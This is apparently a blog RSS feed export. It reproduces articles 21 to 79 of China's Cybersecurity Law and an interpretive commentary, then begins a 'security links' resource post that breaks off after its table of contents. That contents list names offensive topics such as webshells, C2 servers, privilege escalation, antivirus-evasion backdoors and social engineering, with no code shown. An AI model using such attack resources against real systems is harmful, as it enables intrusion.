第二十一条　国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求，履行下列安全保护义务，保障网络免受干扰、破坏或者未经授权的访问，防止网络数据泄露或者被窃取、篡改：

（一）制定内部安全管理制度和操作规程，确定网络安全负责人，落实网络安全保护责任；

（二）采取防范计算机病毒和网络攻击、网络侵入等危害网络安全行为的技术措施；

（三）采取监测、记录网络运行状态、网络安全事件的技术措施，并按照规定留存相关的网络日志不少于六个月；

（四）采取数据分类、重要数据备份和加密等措施；

（五）法律、行政法规规定的其他义务。

第二十二条　网络产品、服务应当符合相关国家标准的强制性要求。网络产品、服务的提供者不得设置恶意程序；发现其网络产品、服务存在安全缺陷、漏洞等风险时，应当立即采取补救措施，按照规定及时告知用户并向有关主管部门报告。

网络产品、服务的提供者应当为其产品、服务持续提供安全维护；在规定或者当事人约定的期限内，不得终止提供安全维护。

网络产品、服务具有收集用户信息功能的，其提供者应当向用户明示并取得同意；涉及用户个人信息的，还应当遵守本法和有关法律、行政法规关于个人信息保护的规定。

第二十三条　网络关键设备和网络安全专用产品应当按照相关国家标准的强制性要求，由具备资格的机构安全认证合格或者安全检测符合要求后，方可销售或者提供。国家网信部门会同国务院有关部门制定、公布网络关键设备和网络安全专用产品目录，并推动安全认证和安全检测结果互认，避免重复认证、检测。

第二十四条　网络运营者为用户办理网络接入、域名注册服务，办理固定电话、移动电话等入网手续，或者为用户提供信息发布、即时通讯等服务，在与用户签订协议或者确认提供服务时，应当要求用户提供真实身份信息。用户不提供真实身份信息的，网络运营者不得为其提供相关服务。

国家实施网络可信身份战略，支持研究开发安全、方便的电子身份认证技术，推动不同电子身份认证之间的互认。

第二十五条　网络运营者应当制定网络安全事件应急预案，及时处置系统漏洞、计算机病毒、网络攻击、网络侵入等安全风险；在发生危害网络安全的事件时，立即启动应急预案，采取相应的补救措施，并按照规定向有关主管部门报告。

第二十六条　开展网络安全认证、检测、风险评估等活动，向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息，应当遵守国家有关规定。

第二十七条　任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动；不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序、工具；明知他人从事危害网络安全的活动的，不得为其提供技术支持、广告推广、支付结算等帮助。

第二十八条　网络运营者应当为公安机关、国家安全机关依法维护国家安全和侦查犯罪的活动提供技术支持和协助。

第二十九条　国家支持网络运营者之间在网络安全信息收集、分析、通报和应急处置等方面进行合作，提高网络运营者的安全保障能力。

有关行业组织建立健全本行业的网络安全保护规范和协作机制，加强对网络安全风险的分析评估，定期向会员进行风险警示，支持、协助会员应对网络安全风险。

第三十条　网信部门和有关部门在履行网络安全保护职责中获取的信息，只能用于维护网络安全的需要，不得用于其他用途。

第二节　关键信息基础设施的运行安全

第三十一条　国家对公共通信和信息服务、能源、交通、水利、金融、公共服务、电子政务等重要行业和领域，以及其他一旦遭到破坏、丧失功能或者数据泄露，可能严重危害国家安全、国计民生、公共利益的关键信息基础设施，在网络安全等级保护制度的基础上，实行重点保护。关键信息基础设施的具体范围和安全保护办法由国务院制定。

国家鼓励关键信息基础设施以外的网络运营者自愿参与关键信息基础设施保护体系。

第三十二条　按照国务院规定的职责分工，负责关键信息基础设施安全保护工作的部门分别编制并组织实施本行业、本领域的关键信息基础设施安全规划，指导和监督关键信息基础设施运行安全保护工作。

第三十三条　建设关键信息基础设施应当确保其具有支持业务稳定、持续运行的性能，并保证安全技术措施同步规划、同步建设、同步使用。

第三十四条　除本法第二十一条的规定外，关键信息基础设施的运营者还应当履行下列安全保护义务：

（一）设置专门安全管理机构和安全管理负责人，并对该负责人和关键岗位的人员进行安全背景审查；

（二）定期对从业人员进行网络安全教育、技术培训和技能考核；

（三）对重要系统和数据库进行容灾备份；

（四）制定网络安全事件应急预案，并定期进行演练；

（五）法律、行政法规规定的其他义务。

第三十五条　关键信息基础设施的运营者采购网络产品和服务，可能影响国家安全的，应当通过国家网信部门会同国务院有关部门组织的国家安全审查。

第三十六条　关键信息基础设施的运营者采购网络产品和服务，应当按照规定与提供者签订安全保密协议，明确安全和保密义务与责任。

第三十七条　关键信息基础设施的运营者在中华人民共和国境内运营中收集和产生的个人信息和重要数据应当在境内存储。因业务需要，确需向境外提供的，应当按照国家网信部门会同国务院有关部门制定的办法进行安全评估；法律、行政法规另有规定的，依照其规定。

第三十八条　关键信息基础设施的运营者应当自行或者委托网络安全服务机构对其网络的安全性和可能存在的风险每年至少进行一次检测评估，并将检测评估情况和改进措施报送相关负责关键信息基础设施安全保护工作的部门。

第三十九条　国家网信部门应当统筹协调有关部门对关键信息基础设施的安全保护采取下列措施：

（一）对关键信息基础设施的安全风险进行抽查检测，提出改进措施，必要时可以委托网络安全服务机构对网络存在的安全风险进行检测评估；

（二）定期组织关键信息基础设施的运营者进行网络安全应急演练，提高应对网络安全事件的水平和协同配合能力；

（三）促进有关部门、关键信息基础设施的运营者以及有关研究机构、网络安全服务机构等之间的网络安全信息共享；

（四）对网络安全事件的应急处置与网络功能的恢复等，提供技术支持和协助。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第四章 网络信息安全&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第四十条　网络运营者应当对其收集的用户信息严格保密，并建立健全用户信息保护制度。

第四十一条　网络运营者收集、使用个人信息，应当遵循合法、正当、必要的原则，公开收集、使用规则，明示收集、使用信息的目的、方式和范围，并经被收集者同意。

网络运营者不得收集与其提供的服务无关的个人信息，不得违反法律、行政法规的规定和双方的约定收集、使用个人信息，并应当依照法律、行政法规的规定和与用户的约定，处理其保存的个人信息。

第四十二条　网络运营者不得泄露、篡改、毁损其收集的个人信息；未经被收集者同意，不得向他人提供个人信息。但是，经过处理无法识别特定个人且不能复原的除外。

网络运营者应当采取技术措施和其他必要措施，确保其收集的个人信息安全，防止信息泄露、毁损、丢失。在发生或者可能发生个人信息泄露、毁损、丢失的情况时，应当立即采取补救措施，按照规定及时告知用户并向有关主管部门报告。

第四十三条　个人发现网络运营者违反法律、行政法规的规定或者双方的约定收集、使用其个人信息的，有权要求网络运营者删除其个人信息；发现网络运营者收集、存储的其个人信息有错误的，有权要求网络运营者予以更正。网络运营者应当采取措施予以删除或者更正。

第四十四条　任何个人和组织不得窃取或者以其他非法方式获取个人信息，不得非法出售或者非法向他人提供个人信息。

第四十五条　依法负有网络安全监督管理职责的部门及其工作人员，必须对在履行职责中知悉的个人信息、隐私和商业秘密严格保密，不得泄露、出售或者非法向他人提供。

第四十六条　任何个人和组织应当对其使用网络的行为负责，不得设立用于实施诈骗，传授犯罪方法，制作或者销售违禁物品、管制物品等违法犯罪活动的网站、通讯群组，不得利用网络发布涉及实施诈骗，制作或者销售违禁物品、管制物品以及其他违法犯罪活动的信息。

第四十七条　网络运营者应当加强对其用户发布的信息的管理，发现法律、行政法规禁止发布或者传输的信息的，应当立即停止传输该信息，采取消除等处置措施，防止信息扩散，保存有关记录，并向有关主管部门报告。

第四十八条　任何个人和组织发送的电子信息、提供的应用软件，不得设置恶意程序，不得含有法律、行政法规禁止发布或者传输的信息。

电子信息发送服务提供者和应用软件下载服务提供者，应当履行安全管理义务，知道其用户有前款规定行为的，应当停止提供服务，采取消除等处置措施，保存有关记录，并向有关主管部门报告。

第四十九条　网络运营者应当建立网络信息安全投诉、举报制度，公布投诉、举报方式等信息，及时受理并处理有关网络信息安全的投诉和举报。

网络运营者对网信部门和有关部门依法实施的监督检查，应当予以配合。

第五十条　国家网信部门和有关部门依法履行网络信息安全监督管理职责，发现法律、行政法规禁止发布或者传输的信息的，应当要求网络运营者停止传输，采取消除等处置措施，保存有关记录；对来源于中华人民共和国境外的上述信息，应当通知有关机构采取技术措施和其他必要措施阻断传播。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第五章 监测预警与应急处置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第五十一条　国家建立网络安全监测预警和信息通报制度。国家网信部门应当统筹协调有关部门加强网络安全信息收集、分析和通报工作，按照规定统一发布网络安全监测预警信息。

第五十二条　负责关键信息基础设施安全保护工作的部门，应当建立健全本行业、本领域的网络安全监测预警和信息通报制度，并按照规定报送网络安全监测预警信息。

第五十三条　国家网信部门协调有关部门建立健全网络安全风险评估和应急工作机制，制定网络安全事件应急预案，并定期组织演练。

负责关键信息基础设施安全保护工作的部门应当制定本行业、本领域的网络安全事件应急预案，并定期组织演练。

网络安全事件应急预案应当按照事件发生后的危害程度、影响范围等因素对网络安全事件进行分级，并规定相应的应急处置措施。

第五十四条　网络安全事件发生的风险增大时，省级以上人民政府有关部门应当按照规定的权限和程序，并根据网络安全风险的特点和可能造成的危害，采取下列措施：

（一）要求有关部门、机构和人员及时收集、报告有关信息，加强对网络安全风险的监测；

（二）组织有关部门、机构和专业人员，对网络安全风险信息进行分析评估，预测事件发生的可能性、影响范围和危害程度；

（三）向社会发布网络安全风险预警，发布避免、减轻危害的措施。

第五十五条　发生网络安全事件，应当立即启动网络安全事件应急预案，对网络安全事件进行调查和评估，要求网络运营者采取技术措施和其他必要措施，消除安全隐患，防止危害扩大，并及时向社会发布与公众有关的警示信息。

第五十六条　省级以上人民政府有关部门在履行网络安全监督管理职责中，发现网络存在较大安全风险或者发生安全事件的，可以按照规定的权限和程序对该网络的运营者的法定代表人或者主要负责人进行约谈。网络运营者应当按照要求采取措施，进行整改，消除隐患。

第五十七条　因网络安全事件，发生突发事件或者生产安全事故的，应当依照《中华人民共和国突发事件应对法》、《中华人民共和国安全生产法》等有关法律、行政法规的规定处置。

第五十八条 因维护国家安全和社会公共秩序，处置重大突发社会安全事件的需要，经国务院决定或者批准，可以在特定区域对网络通信采取限制等临时措施。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第六章 法律责任&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第五十九条　网络运营者不履行本法第二十一条、第二十五条规定的网络安全保护义务的，由有关主管部门责令改正，给予警告；拒不改正或者导致危害网络安全等后果的，处一万元以上十万元以下罚款，对直接负责的主管人员处五千元以上五万元以下罚款。

关键信息基础设施的运营者不履行本法第三十三条、第三十四条、第三十六条、第三十八条规定的网络安全保护义务的，由有关主管部门责令改正，给予警告；拒不改正或者导致危害网络安全等后果的，处十万元以上一百万元以下罚款，对直接负责的主管人员处一万元以上十万元以下罚款。

第六十条　违反本法第二十二条第一款、第二款和第四十八条第一款规定，有下列行为之一的，由有关主管部门责令改正，给予警告；拒不改正或者导致危害网络安全等后果的，处五万元以上五十万元以下罚款，对直接负责的主管人员处一万元以上十万元以下罚款：

（一）设置恶意程序的；

（二）对其产品、服务存在的安全缺陷、漏洞等风险未立即采取补救措施，或者未按照规定及时告知用户并向有关主管部门报告的；

（三）擅自终止为其产品、服务提供安全维护的。

第六十一条　网络运营者违反本法第二十四条第一款规定，未要求用户提供真实身份信息，或者对不提供真实身份信息的用户提供相关服务的，由有关主管部门责令改正；拒不改正或者情节严重的，处五万元以上五十万元以下罚款，并可以由有关主管部门责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照，对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。

第六十二条　违反本法第二十六条规定，开展网络安全认证、检测、风险评估等活动，或者向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息的，由有关主管部门责令改正，给予警告；拒不改正或者情节严重的，处一万元以上十万元以下罚款，并可以由有关主管部门责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照，对直接负责的主管人员和其他直接责任人员处五千元以上五万元以下罚款。

第六十三条　违反本法第二十七条规定，从事危害网络安全的活动，或者提供专门用于从事危害网络安全活动的程序、工具，或者为他人从事危害网络安全的活动提供技术支持、广告推广、支付结算等帮助，尚不构成犯罪的，由公安机关没收违法所得，处五日以下拘留，可以并处五万元以上五十万元以下罚款；情节较重的，处五日以上十五日以下拘留，可以并处十万元以上一百万元以下罚款。

单位有前款行为的，由公安机关没收违法所得，处十万元以上一百万元以下罚款，并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。

违反本法第二十七条规定，受到治安管理处罚的人员，五年内不得从事网络安全管理和网络运营关键岗位的工作；受到刑事处罚的人员，终身不得从事网络安全管理和网络运营关键岗位的工作。

第六十四条　网络运营者、网络产品或者服务的提供者违反本法第二十二条第三款、第四十一条至第四十三条规定，侵害个人信息依法得到保护的权利的，由有关主管部门责令改正，可以根据情节单处或者并处警告、没收违法所得、处违法所得一倍以上十倍以下罚款，没有违法所得的，处一百万元以下罚款，对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款；情节严重的，并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照。

违反本法第四十四条规定，窃取或者以其他非法方式获取、非法出售或者非法向他人提供个人信息，尚不构成犯罪的，由公安机关没收违法所得，并处违法所得一倍以上十倍以下罚款，没有违法所得的，处一百万元以下罚款。

第六十五条　关键信息基础设施的运营者违反本法第三十五条规定，使用未经安全审查或者安全审查未通过的网络产品或者服务的，由有关主管部门责令停止使用，处采购金额一倍以上十倍以下罚款；对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。

第六十六条　关键信息基础设施的运营者违反本法第三十七条规定，在境外存储网络数据，或者向境外提供网络数据的，由有关主管部门责令改正，给予警告，没收违法所得，处五万元以上五十万元以下罚款，并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照；对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。

第六十七条　违反本法第四十六条规定，设立用于实施违法犯罪活动的网站、通讯群组，或者利用网络发布涉及实施违法犯罪活动的信息，尚不构成犯罪的，由公安机关处五日以下拘留，可以并处一万元以上十万元以下罚款；情节较重的，处五日以上十五日以下拘留，可以并处五万元以上五十万元以下罚款。关闭用于实施违法犯罪活动的网站、通讯群组。

单位有前款行为的，由公安机关处十万元以上五十万元以下罚款，并对直接负责的主管人员和其他直接责任人员依照前款规定处罚。

第六十八条　网络运营者违反本法第四十七条规定，对法律、行政法规禁止发布或者传输的信息未停止传输、采取消除等处置措施、保存有关记录的，由有关主管部门责令改正，给予警告，没收违法所得；拒不改正或者情节严重的，处十万元以上五十万元以下罚款，并可以责令暂停相关业务、停业整顿、关闭网站、吊销相关业务许可证或者吊销营业执照，对直接负责的主管人员和其他直接责任人员处一万元以上十万元以下罚款。

电子信息发送服务提供者、应用软件下载服务提供者，不履行本法第四十八条第二款规定的安全管理义务的，依照前款规定处罚。

第六十九条　网络运营者违反本法规定，有下列行为之一的，由有关主管部门责令改正；拒不改正或者情节严重的，处五万元以上五十万元以下罚款，对直接负责的主管人员和其他直接责任人员，处一万元以上十万元以下罚款：

（一）不按照有关部门的要求对法律、行政法规禁止发布或者传输的信息，采取停止传输、消除等处置措施的；

（二）拒绝、阻碍有关部门依法实施的监督检查的；

（三）拒不向公安机关、国家安全机关提供技术支持和协助的。

第七十条　发布或者传输本法第十二条第二款和其他法律、行政法规禁止发布或者传输的信息的，依照有关法律、行政法规的规定处罚。

第七十一条　有本法规定的违法行为的，依照有关法律、行政法规的规定记入信用档案，并予以公示。

第七十二条　国家机关政务网络的运营者不履行本法规定的网络安全保护义务的，由其上级机关或者有关机关责令改正；对直接负责的主管人员和其他直接责任人员依法给予处分。

第七十三条　网信部门和有关部门违反本法第三十条规定，将在履行网络安全保护职责中获取的信息用于其他用途的，对直接负责的主管人员和其他直接责任人员依法给予处分。

网信部门和有关部门的工作人员玩忽职守、滥用职权、徇私舞弊，尚不构成犯罪的，依法给予处分。

第七十四条　违反本法规定，给他人造成损害的，依法承担民事责任。

违反本法规定，构成违反治安管理行为的，依法给予治安管理处罚；构成犯罪的，依法追究刑事责任。

第七十五条　境外的机构、组织、个人从事攻击、侵入、干扰、破坏等危害中华人民共和国的关键信息基础设施的活动，造成严重后果的，依法追究法律责任；国务院公安部门和有关部门并可以决定对该机构、组织、个人采取冻结财产或者其他必要的制裁措施。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;第七章 附则&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;第七十六条　本法下列用语的含义：

（一）网络，是指由计算机或者其他信息终端及相关设备组成的按照一定的规则和程序对信息进行收集、存储、传输、交换、处理的系统。

（二）网络安全，是指通过采取必要措施，防范对网络的攻击、侵入、干扰、破坏和非法使用以及意外事故，使网络处于稳定可靠运行的状态，以及保障网络数据的完整性、保密性、可用性的能力。

（三）网络运营者，是指网络的所有者、管理者和网络服务提供者。

（四）网络数据，是指通过网络收集、存储、传输、处理和产生的各种电子数据。

（五）个人信息，是指以电子或者其他方式记录的能够单独或者与其他信息结合识别自然人个人身份的各种信息，包括但不限于自然人的姓名、出生日期、身份证件号码、个人生物识别信息、住址、电话号码等。

第七十七条　存储、处理涉及国家秘密信息的网络的运行安全保护，除应当遵守本法外，还应当遵守保密法律、行政法规的规定。

第七十八条　军事网络的安全保护，由中央军事委员会另行规定。

第七十九条　本法自2017年6月1日起施行。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;内容解读&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;	《网络安全法》是我国第一部全面规范网络空间安全管理方面问题的基础性法律，是我国网络空间法治建设的重要里程碑，是依法治网、化解网络风险的法律重器，是让互联网在法治轨道上健康运行的重要保障。《网络安全法》将近年来一些成熟的好做法制度化，并为将来可能的制度创新做了原则性规定，为网络安全工作提供切实法律保障。本法在以下几个方面值得特别关注：
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;一、《网络安全法》的基本原则&lt;/h3&gt;
&lt;h4&gt;第一，网络空间主权原则。&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	《网络安全法》第1条“立法目的”开宗明义，明确规定要维护我国网络空间主权。网络空间主权是一国国家主权在网络空间中的自然延伸和表现。习近平总书记指出，《联合国宪章》确立的主权平等原则是当代国际关系的基本准则，覆盖国与国交往各个领域，其原则和精神也应该适用于网络空间。各国自主选择网络发展道路、网络管理模式、互联网公共政策和平等参与国际网络空间治理的权利应当得到尊重。第2条明确规定《网络安全法》适用于我国境内网络以及网络安全的监督管理。这是我国网络空间主权对内最高管辖权的具体体现。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;第二，网络安全与信息化发展并重原则。&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	习近平总书记指出，安全是发展的前提，发展是安全的保障，安全和发展要同步推进。网络安全和信息化是一体之两翼、驱动之双轮，必须统一谋划、统一部署、统一推进、统一实施。《网络安全法》第3条明确规定，国家坚持网络安全与信息化并重，遵循积极利用、科学发展、依法管理、确保安全的方针；既要推进网络基础设施建设，鼓励网络技术创新和应用，又要建立健全网络安全保障体系，提高网络安全保护能力，做到“双轮驱动、两翼齐飞”。
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;第三，共同治理原则。&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;	网络空间安全仅仅依靠政府是无法实现的，需要政府、企业、社会组织、技术社群和公民等网络利益相关者的共同参与。《网络安全法》坚持共同治理原则，要求采取措施鼓励全社会共同参与，政府部门、网络建设者、网络运营者、网络服务提供者、网络行业相关组织、高等院校、职业学校、社会公众等都应根据各自的角色参与网络安全治理工作。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;二、《网络安全法》提出制定网络安全战略，明确网络空间治理目标，提高了我国网络安全政策的透明度&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	《网络安全法》第4条明确提出了我国网络安全战略的主要内容，即：明确保障网络安全的基本要求和主要目标，提出重点领域的网络安全政策、工作任务和措施。第7条明确规定，我国致力于“推动构建和平、安全、开放、合作的网络空间，建立多边、民主、透明的网络治理体系。”这是我国第一次通过国家法律的形式向世界宣示网络空间治理目标，明确表达了我国的网络空间治理诉求。上述规定提高了我国网络治理公共政策的透明度，与我国的网络大国地位相称，有利于提升我国对网络空间的国际话语权和规则制定权，促成网络空间国际规则的出台。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;三、《网络安全法》进一步明确了政府各部门的职责权限，完善了网络安全监管体制&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	《网络安全法》将现行有效的网络安全监管体制法制化，明确了网信部门与其他相关网络监管部门的职责分工。第8条规定，国家网信部门负责统筹协调网络安全工作和相关监督管理工作，国务院电信主管部门、公安部门和其他有关机关依法在各自职责范围内负责网络安全保护和监督管理工作。这种“1+X”的监管体制，符合当前互联网与现实社会全面融合的特点和我国监管需要。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;四、《网络安全法》强化了网络运行安全，重点保护关键信息基础设施&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	《网络安全法》第三章用了近三分之一的篇幅规范网络运行安全，特别强调要保障关键信息基础设施的运行安全。关键信息基础设施是指那些一旦遭到破坏、丧失功能或者数据泄露，可能严重危害国家安全、国计民生、公共利益的系统和设施。网络运行安全是网络安全的重心，关键信息基础设施安全则是重中之重，与国家安全和社会公共利益息息相关。为此，《网络安全法》强调在网络安全等级保护制度的基础上，对关键信息基础设施实行重点保护，明确关键信息基础设施的运营者负有更多的安全保护义务，并配以国家安全审查、重要数据强制本地存储等法律措施，确保关键信息基础设施的运行安全。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;五、《网络安全法》完善了网络安全义务和责任，加大了违法惩处力度&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	《网络安全法》将原来散见于各种法规、规章中的规定上升到人大法律层面，对网络运营者等主体的法律义务和责任做了全面规定，包括守法义务，遵守社会公德、商业道德义务，诚实信用义务，网络安全保护义务，接受监督义务，承担社会责任等，并在“网络运行安全”、“网络信息安全”、“监测预警与应急处置”等章节中进一步明确、细化。在“法律责任”中则提高了违法行为的处罚标准，加大了处罚力度，有利于保障《网络安全法》的实施。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;六、《网络安全法》将监测预警与应急处置措施制度化、法制化&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;	《网络安全法》第五章将监测预警与应急处置工作制度化、法制化，明确国家建立网络安全监测预警和信息通报制度，建立网络安全风险评估和应急工作机制，制定网络安全事件应急预案并定期演练。这为建立统一高效的网络安全风险报告机制、情报共享机制、研判处置机制提供了法律依据，为深化网络安全防护体系,实现全天候全方位感知网络安全态势提供了法律保障。
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>安全链接文档（常用资源合集）</title><link>https://wangyi187.top/posts/web-02-security-links/</link><guid isPermaLink="true">https://wangyi187.top/posts/web-02-security-links/</guid><description>0x02 安全链接文档 目录 攻防测试手册 head1 内网安全文档 head2 学习手册相关资源 head3 Checklist 和基础安全知识 head4 产品设计文档 hea</description><pubDate>Sun, 24 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;0x02 安全链接文档&lt;/h1&gt;
&lt;hr /&gt;
&lt;h2&gt;目录&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;#head1&quot;&gt; 攻防测试手册&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head2&quot;&gt; 内网安全文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head3&quot;&gt; 学习手册相关资源&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head4&quot;&gt;Checklist 和基础安全知识&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head5&quot;&gt; 产品设计文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head6&quot;&gt; 学习靶场&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head7&quot;&gt; 漏洞复现&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head8&quot;&gt; 开源漏洞库&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head9&quot;&gt; 工具包集合&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head10&quot;&gt;漏洞收集与 Exp、Poc 利用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head11&quot;&gt; 物联网路由工控漏洞收集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head12&quot;&gt; Java安全相关的漏洞&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head13&quot;&gt;Java 反序列化漏洞收集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head14&quot;&gt;Java 反序列化漏洞工具&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head15&quot;&gt; 反序列化漏洞收集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head16&quot;&gt; 版本管理平台漏洞收集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head17&quot;&gt;MS 与 Office 漏洞收集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head18&quot;&gt; xxe攻击技术分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head19&quot;&gt; shell管理相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head20&quot;&gt;Kali 环境下拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head21&quot;&gt;Nessus Awvs 相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head22&quot;&gt;Burpsuit 相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head23&quot;&gt;Sqlmap 相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head24&quot;&gt;Nmap 相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head25&quot;&gt;Metasploit 相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head26&quot;&gt;CobaltStrike 相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head27&quot;&gt;Empire 相关工具拓展插件&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head28&quot;&gt; 信息搜集&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head29&quot;&gt; 敏感信息泄露发现&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head30&quot;&gt; 威胁情报分析&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head31&quot;&gt; 云环境的安全渗透测试&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head32&quot;&gt; 目录路径发现&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head33&quot;&gt; 本地文件包含漏洞&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head34&quot;&gt; 安全测试与扫描器框架&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head35&quot;&gt; 运维安全服务与资产管理&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head36&quot;&gt; 上传漏洞利用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head37&quot;&gt; 端口发现服务指纹识别&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head38&quot;&gt; 数据库扫描与爆破&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head39&quot;&gt;XSS 跨站脚本检测利用&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head40&quot;&gt; 弱口令扫描爆破&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head41&quot;&gt; 密码破解还原&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head42&quot;&gt;网站管理与 Webshell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head43&quot;&gt; 内网拓展后渗透&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head44&quot;&gt;远程控制 C2 服务器&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head45&quot;&gt; 端口转发与代理工具&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head46&quot;&gt;Cross 超越边界 NPV&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head47&quot;&gt;横向移动与密码 Hash 窃取&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head48&quot;&gt;Linux 提权相关&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head49&quot;&gt;Windows 提权相关&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head50&quot;&gt; 权限绕过&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head51&quot;&gt; 沙盒逃逸&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head52&quot;&gt; 后门免杀代码混淆&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head53&quot;&gt; 文件捆绑&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#head54&quot;&gt; 社工相关&lt;/a&gt;&lt;/li&gt;
